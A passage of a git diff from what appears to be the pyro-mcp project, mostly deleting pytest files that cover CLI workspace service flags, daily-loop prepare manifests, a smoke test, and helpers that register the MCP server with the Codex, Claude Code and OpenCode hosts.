- - -def test_cli_workspace_service_start_rejects_multiple_readiness_flags_json( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def start_service(self, *args: Any, **kwargs: Any) -> dict[str, Any]: - raise AssertionError("start_service should not be called") - - class StartParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="start", - workspace_id="workspace-123", - service_name="app", - cwd="/workspace", - ready_file=".ready", - ready_tcp=None, - ready_http="http://127.0.0.1:8080/", - ready_command=None, - ready_timeout_seconds=30, - ready_interval_ms=500, - publish=[], - json=True, - command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - with pytest.raises(SystemExit, match="1"): - cli.main() - payload = json.loads(capsys.readouterr().out) - assert "choose at most one" in payload["error"] - - -def test_cli_workspace_service_start_prints_human_with_ready_http( - monkeypatch: pytest.MonkeyPatch, - capsys: pytest.CaptureFixture[str], -) -> None: - class StubPyro: - def start_service( - self, - workspace_id: str, - service_name: str, - **kwargs: Any, - ) -> dict[str, Any]: - assert workspace_id == "workspace-123" - assert service_name == "app" - assert kwargs["readiness"] == {"type": "http", "url": "http://127.0.0.1:8080/ready"} - return { - "workspace_id": workspace_id, - "service_name": service_name, - "state": "running", - "cwd": "/workspace", - "execution_mode": "guest_vsock", - "readiness": kwargs["readiness"], - } - - class StartParser: - def parse_args(self) -> argparse.Namespace: - return argparse.Namespace( - command="workspace", - workspace_command="service", - workspace_service_command="start", - workspace_id="workspace-123", - service_name="app", - cwd="/workspace", - ready_file=None, - ready_tcp=None, - ready_http="http://127.0.0.1:8080/ready", - ready_command=None, - ready_timeout_seconds=30, - ready_interval_ms=500, - publish=[], - secret_env=[], - json=False, - command_args=["--", "sh", "-lc", "while true; do sleep 60; done"], - ) - - monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) - monkeypatch.setattr(cli, "Pyro", StubPyro) - cli.main() - captured = capsys.readouterr() - assert "workspace-service-start" in captured.err - assert "service_name=app" in captured.err - - -def test_print_workspace_summary_human_includes_secret_metadata( - capsys: pytest.CaptureFixture[str], -) -> None: - cli._print_workspace_summary_human( - { - "workspace_id": "ws-123", - "environment": "debian:12", - "state": "started", - "workspace_path": "/workspace", - "workspace_seed": { - "mode": "directory", - "seed_path": "/tmp/repo", - }, - "secrets": [ - {"name": "API_TOKEN", "source_kind": "literal"}, - {"name": "FILE_TOKEN", "source_kind": "file"}, - ], - "execution_mode": "guest_vsock", - "vcpu_count": 1, - "mem_mib": 1024, - "command_count": 0, - }, - action="Workspace", - ) - output = capsys.readouterr().out - assert "Workspace ID: ws-123" in output - assert "Workspace seed: directory from /tmp/repo" in output - assert "Secrets: API_TOKEN (literal), FILE_TOKEN (file)" in output diff --git a/tests/test_daily_loop.py b/tests/test_daily_loop.py deleted file mode 100644 index b511158..0000000 --- a/tests/test_daily_loop.py +++ /dev/null @@ -1,359 +0,0 @@ -from __future__ import annotations - -import json -from pathlib import Path - -import pytest - -from pyro_mcp.daily_loop import ( - DailyLoopManifest, - evaluate_daily_loop_status, - load_prepare_manifest, - prepare_manifest_path, - prepare_request_is_satisfied, -) -from pyro_mcp.runtime import RuntimeCapabilities -from pyro_mcp.vm_manager import VmManager - - -def test_prepare_daily_loop_executes_then_reuses( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "state", - cache_dir=tmp_path / "cache", - ) - monkeypatch.setattr(manager, "_backend_name", "firecracker") - monkeypatch.setattr( - manager, - "_runtime_capabilities", - RuntimeCapabilities( - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=True, - ), - ) - monkeypatch.setattr( - manager, - "inspect_environment", - lambda environment: {"installed": True}, - ) - monkeypatch.setattr( - manager._environment_store, - "ensure_installed", - lambda environment: object(), - ) - - observed: dict[str, object] = {} - - def fake_create_workspace(**kwargs: object) -> dict[str, object]: - observed["network_policy"] = kwargs["network_policy"] - return {"workspace_id": "ws-123"} - - def fake_exec_workspace( - workspace_id: str, - *, - command: str, - timeout_seconds: int = 30, - secret_env: dict[str, str] | None = None, - ) -> dict[str, object]: - observed["exec"] = { - "workspace_id": workspace_id, - "command": command, - "timeout_seconds": timeout_seconds, - "secret_env": secret_env, - } - return { - "workspace_id": workspace_id, - "stdout": "/workspace\n", - "stderr": "", - "exit_code": 0, - "duration_ms": 1, - "execution_mode": "guest_vsock", - } - - def fake_reset_workspace( - workspace_id: str, - *, - snapshot: str = "baseline", - ) -> dict[str, object]: - observed["reset"] = {"workspace_id": workspace_id, "snapshot": snapshot} - return {"workspace_id": workspace_id} - - def fake_delete_workspace( - workspace_id: str, - *, - reason: str = "explicit_delete", - ) -> dict[str, object]: - observed["delete"] = {"workspace_id": workspace_id, "reason": reason} - return {"workspace_id": workspace_id, "deleted": True} - - monkeypatch.setattr(manager, "create_workspace", fake_create_workspace) - monkeypatch.setattr(manager, "exec_workspace", fake_exec_workspace) - monkeypatch.setattr(manager, "reset_workspace", fake_reset_workspace) - monkeypatch.setattr(manager, "delete_workspace", fake_delete_workspace) - - first = manager.prepare_daily_loop("debian:12") - assert first["prepared"] is True - assert first["executed"] is True - assert first["reused"] is False - assert first["network_prepared"] is False - assert first["execution_mode"] == "guest_vsock" - assert observed["network_policy"] == "off" - assert observed["exec"] == { - "workspace_id": "ws-123", - "command": "pwd", - "timeout_seconds": 30, - "secret_env": None, - } - assert observed["reset"] == {"workspace_id": "ws-123", "snapshot": "baseline"} - assert observed["delete"] == {"workspace_id": "ws-123", "reason": "prepare_cleanup"} - - second = manager.prepare_daily_loop("debian:12") - assert second["prepared"] is True - assert second["executed"] is False - assert second["reused"] is True - assert second["reason"] == "reused existing warm manifest" - - -def test_prepare_daily_loop_force_and_network_upgrade_manifest( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "state", - cache_dir=tmp_path / "cache", - ) - monkeypatch.setattr(manager, "_backend_name", "firecracker") - monkeypatch.setattr( - manager, - "_runtime_capabilities", - RuntimeCapabilities( - supports_vm_boot=True, - supports_guest_exec=True, - supports_guest_network=True, - ), - ) - monkeypatch.setattr( - manager, - "inspect_environment", - lambda environment: {"installed": True}, - ) - monkeypatch.setattr( - manager._environment_store, - "ensure_installed", - lambda environment: object(), - ) - - observed_policies: list[str] = [] - - def fake_create_workspace(**kwargs: object) -> dict[str, object]: - observed_policies.append(str(kwargs["network_policy"])) - return {"workspace_id": "ws-1"} - - monkeypatch.setattr(manager, "create_workspace", fake_create_workspace) - monkeypatch.setattr( - manager, - "exec_workspace", - lambda workspace_id, **kwargs: { - "workspace_id": workspace_id, - "stdout": "/workspace\n", - "stderr": "", - "exit_code": 0, - "duration_ms": 1, - "execution_mode": "guest_vsock", - }, - ) - monkeypatch.setattr( - manager, - "reset_workspace", - lambda workspace_id, **kwargs: {"workspace_id": workspace_id}, - ) - monkeypatch.setattr( - manager, - "delete_workspace", - lambda workspace_id, **kwargs: {"workspace_id": workspace_id, "deleted": True}, - ) - - manager.prepare_daily_loop("debian:12") - payload = manager.prepare_daily_loop("debian:12", network=True, force=True) - assert payload["executed"] is True - assert payload["network_prepared"] is True - assert observed_policies == ["off", "egress"] - - manifest_path = prepare_manifest_path( - tmp_path / "cache", - platform="linux-x86_64", - environment="debian:12", - ) - manifest, manifest_error = load_prepare_manifest(manifest_path) - assert manifest_error is None - if manifest is None: - raise AssertionError("expected prepare manifest") - assert manifest.network_prepared is True - - -def test_prepare_daily_loop_requires_guest_capabilities(tmp_path: Path) -> None: - manager = VmManager( - backend_name="mock", - base_dir=tmp_path / "state", - cache_dir=tmp_path / "cache", - ) - with pytest.raises(RuntimeError, match="guest-backed runtime"): - manager.prepare_daily_loop("debian:12") - - -def test_load_prepare_manifest_reports_invalid_json(tmp_path: Path) -> None: - manifest_path = prepare_manifest_path( - tmp_path, - platform="linux-x86_64", - environment="debian:12", - ) - manifest_path.parent.mkdir(parents=True, exist_ok=True) - manifest_path.write_text("{broken", encoding="utf-8") - - manifest, error = load_prepare_manifest(manifest_path) - assert manifest is None - assert error is not None - - -def test_prepare_manifest_round_trip(tmp_path: Path) -> None: - manifest_path = prepare_manifest_path( - tmp_path, - platform="linux-x86_64", - environment="debian:12", - ) - manifest = DailyLoopManifest( - environment="debian:12", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-1", - prepared_at=123.0, - network_prepared=True, - last_prepare_duration_ms=456, - ) - manifest_path.parent.mkdir(parents=True, exist_ok=True) - manifest_path.write_text(json.dumps(manifest.to_payload()), encoding="utf-8") - - loaded, error = load_prepare_manifest(manifest_path) - assert error is None - assert loaded == manifest - - -def test_load_prepare_manifest_rejects_non_object(tmp_path: Path) -> None: - manifest_path = prepare_manifest_path( - tmp_path, - platform="linux-x86_64", - environment="debian:12", - ) - manifest_path.parent.mkdir(parents=True, exist_ok=True) - manifest_path.write_text('["not-an-object"]', encoding="utf-8") - - manifest, error = load_prepare_manifest(manifest_path) - assert manifest is None - assert error == "prepare manifest is not a JSON object" - - -def test_load_prepare_manifest_rejects_invalid_payload(tmp_path: Path) -> None: - manifest_path = prepare_manifest_path( - tmp_path, - platform="linux-x86_64", - environment="debian:12", - ) - manifest_path.parent.mkdir(parents=True, exist_ok=True) - manifest_path.write_text(json.dumps({"environment": "debian:12"}), encoding="utf-8") - - manifest, error = load_prepare_manifest(manifest_path) - assert manifest is None - assert error is not None - assert "prepare manifest is invalid" in error - - -def test_evaluate_daily_loop_status_edge_cases() -> None: - manifest = DailyLoopManifest( - environment="debian:12", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-1", - prepared_at=1.0, - network_prepared=False, - last_prepare_duration_ms=2, - ) - - assert evaluate_daily_loop_status( - environment="debian:12", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-1", - installed=True, - manifest=manifest, - manifest_error="broken manifest", - ) == ("stale", "broken manifest") - assert evaluate_daily_loop_status( - environment="debian:12", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-1", - installed=False, - manifest=manifest, - ) == ("stale", "environment install is missing") - assert evaluate_daily_loop_status( - environment="debian:12-build", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-1", - installed=True, - manifest=manifest, - ) == ("stale", "prepare manifest environment does not match the selected environment") - assert evaluate_daily_loop_status( - environment="debian:12", - environment_version="2.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-1", - installed=True, - manifest=manifest, - ) == ("stale", "environment version changed since the last prepare run") - assert evaluate_daily_loop_status( - environment="debian:12", - environment_version="1.0.0", - platform="linux-aarch64", - catalog_version="4.5.0", - bundle_version="bundle-1", - installed=True, - manifest=manifest, - ) == ("stale", "platform changed since the last prepare run") - assert evaluate_daily_loop_status( - environment="debian:12", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-2", - installed=True, - manifest=manifest, - ) == ("stale", "runtime bundle version changed since the last prepare run") - - -def test_prepare_request_is_satisfied_network_gate() -> None: - manifest = DailyLoopManifest( - environment="debian:12", - environment_version="1.0.0", - platform="linux-x86_64", - catalog_version="4.5.0", - bundle_version="bundle-1", - prepared_at=1.0, - network_prepared=False, - last_prepare_duration_ms=2, - ) - - assert prepare_request_is_satisfied(None, require_network=False) is False - assert prepare_request_is_satisfied(manifest, require_network=True) is False - assert prepare_request_is_satisfied(manifest, require_network=False) is True diff --git a/tests/test_daily_loop_smoke.py b/tests/test_daily_loop_smoke.py deleted file mode 100644 index 2d75fbc..0000000 --- a/tests/test_daily_loop_smoke.py +++ /dev/null @@ -1,138 +0,0 @@ -from __future__ import annotations - -import json -import subprocess -from pathlib import Path -from types import SimpleNamespace - -import pytest - -import pyro_mcp.daily_loop_smoke as smoke_module - - -class _FakePyro: - def __init__(self) -> None: - self.workspace_id = "ws-1" - self.message = "broken\n" - self.deleted = False - - def create_workspace( - self, - *, - environment: str, - seed_path: Path, - name: str | None = None, - labels: dict[str, str] | None = None, - ) -> dict[str, object]: - assert environment == "debian:12" - assert seed_path.is_dir() - assert name == "daily-loop" - assert labels == {"suite": "daily-loop-smoke"} - return {"workspace_id": self.workspace_id} - - def exec_workspace(self, workspace_id: str, *, command: str) -> dict[str, object]: - assert workspace_id == self.workspace_id - if command != "sh check.sh": - raise AssertionError(f"unexpected command: {command}") - if self.message == "fixed\n": - return {"exit_code": 0, "stdout": "fixed\n"} - return {"exit_code": 1, "stderr": "expected fixed got broken\n"} - - def apply_workspace_patch(self, workspace_id: str, *, patch: str) -> dict[str, object]: - assert workspace_id == self.workspace_id - assert "+fixed" in patch - self.message = "fixed\n" - return {"changed": True} - - def export_workspace( - self, - workspace_id: str, - path: str, - *, - output_path: Path, - ) -> dict[str, object]: - assert workspace_id == self.workspace_id - assert path == "message.txt" - output_path.parent.mkdir(parents=True, exist_ok=True) - output_path.write_text(self.message, encoding="utf-8") - return {"artifact_type": "file"} - - def reset_workspace(self, workspace_id: str) -> dict[str, object]: - assert workspace_id == self.workspace_id - self.message = "broken\n" - return {"reset_count": 1} - - def read_workspace_file(self, workspace_id: str, path: str) -> dict[str, object]: - assert workspace_id == self.workspace_id - assert path == "message.txt" - return {"content": self.message} - - def delete_workspace(self, workspace_id: str) -> dict[str, object]: - assert workspace_id == self.workspace_id - self.deleted = True - return {"workspace_id": workspace_id, "deleted": True} - - -def test_run_prepare_parses_json(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr( - subprocess, - "run", - lambda *args, **kwargs: SimpleNamespace( - returncode=0, - stdout=json.dumps({"prepared": True}), - stderr="", - ), - ) - payload = smoke_module._run_prepare("debian:12") - assert payload == {"prepared": True} - - -def test_run_prepare_raises_on_failure(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setattr( - subprocess, - "run", - lambda *args, **kwargs: SimpleNamespace( - returncode=1, - stdout="", - stderr="prepare failed", - ), - ) - with pytest.raises(RuntimeError, match="prepare failed"): - smoke_module._run_prepare("debian:12") - - -def test_run_daily_loop_smoke_happy_path(monkeypatch: pytest.MonkeyPatch) -> None: - prepare_calls: list[str] = [] - fake_pyro = _FakePyro() - - def fake_run_prepare(environment: str) -> dict[str, object]: - prepare_calls.append(environment) - return {"prepared": True, "reused": len(prepare_calls) > 1} - - monkeypatch.setattr(smoke_module, "_run_prepare", fake_run_prepare) - monkeypatch.setattr(smoke_module, "Pyro", lambda: fake_pyro) - - smoke_module.run_daily_loop_smoke(environment="debian:12") - - assert prepare_calls == ["debian:12", "debian:12"] - assert fake_pyro.deleted is True - - -def test_main_runs_selected_environment( - monkeypatch: pytest.MonkeyPatch, -) -> None: - observed: list[str] = [] - monkeypatch.setattr( - smoke_module, - "run_daily_loop_smoke", - lambda *, environment: observed.append(environment), - ) - monkeypatch.setattr( - smoke_module, - "build_arg_parser", - lambda: SimpleNamespace( - parse_args=lambda: SimpleNamespace(environment="debian:12-build") - ), - ) - smoke_module.main() - assert observed == ["debian:12-build"] diff --git a/tests/test_demo.py b/tests/test_demo.py index ed261dd..481b333 100644 --- a/tests/test_demo.py +++ b/tests/test_demo.py @@ -53,7 +53,7 @@ def test_run_demo_happy_path(monkeypatch: pytest.MonkeyPatch) -> None: "environment": "debian:12", "command": "git --version", "vcpu_count": 1, - "mem_mib": 1024, + "mem_mib": 512, "timeout_seconds": 30, "ttl_seconds": 600, "network": False, @@ -95,4 +95,3 @@ def test_run_demo_network_uses_probe(monkeypatch: pytest.MonkeyPatch) -> None: demo_module.run_demo(network=True) assert "https://example.com" in str(captured["command"]) assert captured["network"] is True - assert captured["mem_mib"] == 1024 diff --git a/tests/test_doctor.py b/tests/test_doctor.py index 3c3196e..88ab026 100644 --- a/tests/test_doctor.py +++ b/tests/test_doctor.py @@ -6,7 +6,6 @@ import json import pytest import pyro_mcp.doctor as doctor_module -from pyro_mcp.runtime import DEFAULT_PLATFORM def test_doctor_main_prints_json( @@ -15,26 +14,14 @@ def test_doctor_main_prints_json( ) -> None: class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(platform="linux-x86_64", environment="debian:12") + return argparse.Namespace(platform="linux-x86_64") monkeypatch.setattr(doctor_module, "_build_parser", lambda: StubParser()) monkeypatch.setattr( doctor_module, "doctor_report", - lambda *, platform, environment: { - "platform": platform, - "environment": environment, - "runtime_ok": True, - "issues": [], - }, + lambda platform: {"platform": platform, "runtime_ok": True, "issues": []}, ) doctor_module.main() output = json.loads(capsys.readouterr().out) assert output["runtime_ok"] is True - - -def test_doctor_build_parser_defaults_platform() -> None: - parser = doctor_module._build_parser() - args = parser.parse_args([]) - assert args.platform == DEFAULT_PLATFORM - assert args.environment == "debian:12" diff --git a/tests/test_host_helpers.py b/tests/test_host_helpers.py deleted file mode 100644 index 2255208..0000000 --- a/tests/test_host_helpers.py +++ /dev/null @@ -1,501 +0,0 @@ -from __future__ import annotations - -import json -import shutil -import sys -from pathlib import Path -from subprocess import CompletedProcess - -import pytest - -import pyro_mcp.host_helpers as host_helpers -from pyro_mcp.host_helpers import ( - DEFAULT_OPENCODE_CONFIG_PATH, - HostServerConfig, - _canonical_server_command, - _command_matches, - _repair_command, - connect_cli_host, - doctor_hosts, - print_or_write_opencode_config, - repair_host, -) - - -def _install_fake_mcp_cli(tmp_path: Path, name: str) -> tuple[Path, Path]: - bin_dir = tmp_path / "bin" - bin_dir.mkdir(parents=True) - state_path = tmp_path / f"{name}-state.json" - script_path = bin_dir / name - script_path.write_text( - "\n".join( - [ - f"#!{sys.executable}", - "import json", - "import shlex", - "import sys", - f"STATE_PATH = {str(state_path)!r}", - "try:", - " with open(STATE_PATH, 'r', encoding='utf-8') as handle:", - " state = json.load(handle)", - "except FileNotFoundError:", - " state = {}", - "args = sys.argv[1:]", - "if args[:2] == ['mcp', 'add']:", - " name = args[2]", - " marker = args.index('--')", - " state[name] = args[marker + 1:]", - " with open(STATE_PATH, 'w', encoding='utf-8') as handle:", - " json.dump(state, handle)", - " print(f'added {name}')", - " raise SystemExit(0)", - "if args[:2] == ['mcp', 'remove']:", - " name = args[2]", - " if name in state:", - " del state[name]", - " with open(STATE_PATH, 'w', encoding='utf-8') as handle:", - " json.dump(state, handle)", - " print(f'removed {name}')", - " raise SystemExit(0)", - " print('not found', file=sys.stderr)", - " raise SystemExit(1)", - "if args[:2] == ['mcp', 'get']:", - " name = args[2]", - " if name not in state:", - " print('not found', file=sys.stderr)", - " raise SystemExit(1)", - " print(f'{name}: {shlex.join(state[name])}')", - " raise SystemExit(0)", - "if args[:2] == ['mcp', 'list']:", - " for item in sorted(state):", - " print(item)", - " raise SystemExit(0)", - "print('unsupported', file=sys.stderr)", - "raise SystemExit(2)", - ] - ), - encoding="utf-8", - ) - script_path.chmod(0o755) - return bin_dir, state_path - - -def test_connect_cli_host_replaces_existing_entry( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - bin_dir, state_path = _install_fake_mcp_cli(tmp_path, "codex") - state_path.write_text(json.dumps({"pyro": ["old", "command"]}), encoding="utf-8") - monkeypatch.setenv("PATH", str(bin_dir)) - - payload = connect_cli_host("codex", config=HostServerConfig()) - - assert payload["host"] == "codex" - assert payload["server_command"] == ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"] - assert json.loads(state_path.read_text(encoding="utf-8")) == { - "pyro": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"] - } - - -def test_canonical_server_command_validates_and_renders_variants() -> None: - assert _canonical_server_command(HostServerConfig(installed_package=True)) == [ - "pyro", - "mcp", - "serve", - ] - assert _canonical_server_command( - HostServerConfig(profile="workspace-full", project_path="/repo") - ) == [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--profile", - "workspace-full", - "--project-path", - "/repo", - ] - assert _canonical_server_command( - HostServerConfig(repo_url="https://example.com/repo.git", repo_ref="main") - ) == [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--repo-url", - "https://example.com/repo.git", - "--repo-ref", - "main", - ] - assert _canonical_server_command(HostServerConfig(mode="repro-fix")) == [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--mode", - "repro-fix", - ] - assert _canonical_server_command(HostServerConfig(no_project_source=True)) == [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--no-project-source", - ] - - with pytest.raises(ValueError, match="mutually exclusive"): - _canonical_server_command( - HostServerConfig(project_path="/repo", repo_url="https://example.com/repo.git") - ) - with pytest.raises(ValueError, match="cannot be combined"): - _canonical_server_command(HostServerConfig(project_path="/repo", no_project_source=True)) - with pytest.raises(ValueError, match="requires --repo-url"): - _canonical_server_command(HostServerConfig(repo_ref="main")) - with pytest.raises(ValueError, match="mutually exclusive"): - _canonical_server_command( - HostServerConfig(profile="workspace-full", mode="repro-fix") - ) - - -def test_repair_command_and_command_matches_cover_edge_cases() -> None: - assert _repair_command("codex", HostServerConfig()) == "pyro host repair codex" - assert _repair_command("codex", HostServerConfig(project_path="/repo")) == ( - "pyro host repair codex --project-path /repo" - ) - assert _repair_command( - "opencode", - HostServerConfig(installed_package=True, profile="workspace-full", repo_url="file:///repo"), - config_path=Path("/tmp/opencode.json"), - ) == ( - "pyro host repair opencode --installed-package --profile workspace-full " - "--repo-url file:///repo --config-path /tmp/opencode.json" - ) - assert _repair_command("codex", HostServerConfig(no_project_source=True)) == ( - "pyro host repair codex --no-project-source" - ) - assert _repair_command("codex", HostServerConfig(mode="inspect")) == ( - "pyro host repair codex --mode inspect" - ) - assert _command_matches( - "pyro: uvx --from pyro-mcp pyro mcp serve", - ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], - ) - assert _command_matches( - '"uvx --from pyro-mcp pyro mcp serve', - ['"uvx', "--from", "pyro-mcp", "pyro", "mcp", "serve"], - ) - assert not _command_matches("pyro: uvx --from pyro-mcp pyro mcp serve --profile vm-run", [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - ]) - - -def test_connect_cli_host_reports_missing_cli_and_add_failure( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - with pytest.raises(ValueError, match="unsupported CLI host"): - connect_cli_host("unsupported", config=HostServerConfig()) - - monkeypatch.setenv("PATH", "") - with pytest.raises(RuntimeError, match="codex CLI is not installed"): - connect_cli_host("codex", config=HostServerConfig()) - - bin_dir = tmp_path / "bin" - bin_dir.mkdir() - script_path = bin_dir / "codex" - script_path.write_text( - "\n".join( - [ - f"#!{sys.executable}", - "import sys", - "raise SystemExit(1 if sys.argv[1:3] == ['mcp', 'add'] else 0)", - ] - ), - encoding="utf-8", - ) - script_path.chmod(0o755) - monkeypatch.setenv("PATH", str(bin_dir)) - - with pytest.raises(RuntimeError, match="codex mcp add failed"): - connect_cli_host("codex", config=HostServerConfig()) - - -def test_doctor_hosts_reports_ok_and_drifted( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - codex_bin, codex_state = _install_fake_mcp_cli(tmp_path / "codex", "codex") - claude_bin, claude_state = _install_fake_mcp_cli(tmp_path / "claude", "claude") - combined_path = str(codex_bin) + ":" + str(claude_bin) - monkeypatch.setenv("PATH", combined_path) - - codex_state.write_text( - json.dumps({"pyro": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"]}), - encoding="utf-8", - ) - claude_state.write_text( - json.dumps( - { - "pyro": [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--profile", - "workspace-full", - ] - } - ), - encoding="utf-8", - ) - opencode_config = tmp_path / "opencode.json" - opencode_config.write_text( - json.dumps( - { - "mcp": { - "pyro": { - "type": "local", - "enabled": True, - "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], - } - } - } - ), - encoding="utf-8", - ) - - entries = doctor_hosts(config=HostServerConfig(), config_path=opencode_config) - by_host = {entry.host: entry for entry in entries} - - assert by_host["codex"].status == "ok" - assert by_host["codex"].configured is True - assert by_host["claude-code"].status == "drifted" - assert by_host["claude-code"].configured is True - assert by_host["opencode"].status == "ok" - assert by_host["opencode"].configured is True - - -def test_doctor_hosts_reports_missing_and_drifted_opencode_shapes( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - monkeypatch.setenv("PATH", "") - config_path = tmp_path / "opencode.json" - - config_path.write_text("[]", encoding="utf-8") - entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) - by_host = {entry.host: entry for entry in entries} - assert by_host["opencode"].status == "unavailable" - assert "JSON object" in by_host["opencode"].details - - config_path.write_text(json.dumps({"mcp": {}}), encoding="utf-8") - entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) - by_host = {entry.host: entry for entry in entries} - assert by_host["opencode"].status == "unavailable" - assert "missing mcp.pyro" in by_host["opencode"].details - - config_path.write_text( - json.dumps({"mcp": {"pyro": {"type": "local", "enabled": False, "command": ["wrong"]}}}), - encoding="utf-8", - ) - entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) - by_host = {entry.host: entry for entry in entries} - assert by_host["opencode"].status == "drifted" - assert by_host["opencode"].configured is True - - -def test_doctor_hosts_reports_invalid_json_for_installed_opencode( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - config_path = tmp_path / "opencode.json" - config_path.write_text("{invalid", encoding="utf-8") - monkeypatch.setattr( - shutil, - "which", - lambda name: "/usr/bin/opencode" if name == "opencode" else None, - ) - - entries = doctor_hosts(config=HostServerConfig(), config_path=config_path) - by_host = {entry.host: entry for entry in entries} - - assert by_host["opencode"].status == "drifted" - assert "invalid JSON" in by_host["opencode"].details - - -def test_repair_opencode_preserves_unrelated_keys( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - monkeypatch.setenv("PATH", "") - config_path = tmp_path / "opencode.json" - config_path.write_text( - json.dumps({"theme": "light", "mcp": {"other": {"type": "local"}}}), - encoding="utf-8", - ) - - payload = repair_host("opencode", config=HostServerConfig(), config_path=config_path) - - assert payload["config_path"] == str(config_path.resolve()) - repaired = json.loads(config_path.read_text(encoding="utf-8")) - assert repaired["theme"] == "light" - assert repaired["mcp"]["other"] == {"type": "local"} - assert repaired["mcp"]["pyro"] == { - "type": "local", - "enabled": True, - "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve"], - } - - -def test_repair_opencode_backs_up_non_object_json( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - monkeypatch.setenv("PATH", "") - config_path = tmp_path / "opencode.json" - config_path.write_text("[]", encoding="utf-8") - - payload = repair_host("opencode", config=HostServerConfig(), config_path=config_path) - - backup_path = Path(str(payload["backup_path"])) - assert backup_path.exists() - assert backup_path.read_text(encoding="utf-8") == "[]" - - -def test_repair_opencode_backs_up_invalid_json( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - monkeypatch.setenv("PATH", "") - config_path = tmp_path / "opencode.json" - config_path.write_text("{invalid", encoding="utf-8") - - payload = repair_host("opencode", config=HostServerConfig(), config_path=config_path) - - backup_path = Path(str(payload["backup_path"])) - assert backup_path.exists() - assert backup_path.read_text(encoding="utf-8") == "{invalid" - repaired = json.loads(config_path.read_text(encoding="utf-8")) - assert repaired["mcp"]["pyro"]["command"] == [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - ] - - -def test_print_or_write_opencode_config_writes_json(tmp_path: Path) -> None: - output_path = tmp_path / "opencode.json" - payload = print_or_write_opencode_config( - config=HostServerConfig(project_path="/repo"), - output_path=output_path, - ) - - assert payload["output_path"] == str(output_path) - rendered = json.loads(output_path.read_text(encoding="utf-8")) - assert rendered == { - "mcp": { - "pyro": { - "type": "local", - "enabled": True, - "command": [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--project-path", - "/repo", - ], - } - } - } - - -def test_print_or_write_opencode_config_returns_rendered_text() -> None: - payload = print_or_write_opencode_config(config=HostServerConfig(profile="vm-run")) - - assert payload["host"] == "opencode" - assert payload["server_command"] == [ - "uvx", - "--from", - "pyro-mcp", - "pyro", - "mcp", - "serve", - "--profile", - "vm-run", - ] - rendered = str(payload["rendered_config"]) - assert '"type": "local"' in rendered - assert '"command": [' in rendered - - -def test_doctor_reports_opencode_missing_when_config_absent( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - monkeypatch.setenv("PATH", "") - - entries = doctor_hosts( - config=HostServerConfig(), - config_path=tmp_path / "missing-opencode.json", - ) - by_host = {entry.host: entry for entry in entries} - - assert by_host["opencode"].status == "unavailable" - assert str(DEFAULT_OPENCODE_CONFIG_PATH) not in by_host["opencode"].details - - -def test_repair_host_delegates_non_opencode_and_doctor_handles_list_only_configured( - monkeypatch: pytest.MonkeyPatch, -) -> None: - monkeypatch.setattr( - host_helpers, - "connect_cli_host", - lambda host, *, config: {"host": host, "profile": config.profile}, - ) - assert repair_host("codex", config=HostServerConfig(profile="vm-run")) == { - "host": "codex", - "profile": "vm-run", - } - - commands: list[list[str]] = [] - - def _fake_run_command(command: list[str]) -> CompletedProcess[str]: - commands.append(command) - if command[:3] == ["codex", "mcp", "get"]: - return CompletedProcess(command, 1, "", "not found") - if command[:3] == ["codex", "mcp", "list"]: - return CompletedProcess(command, 0, "pyro\n", "") - raise AssertionError(command) - - 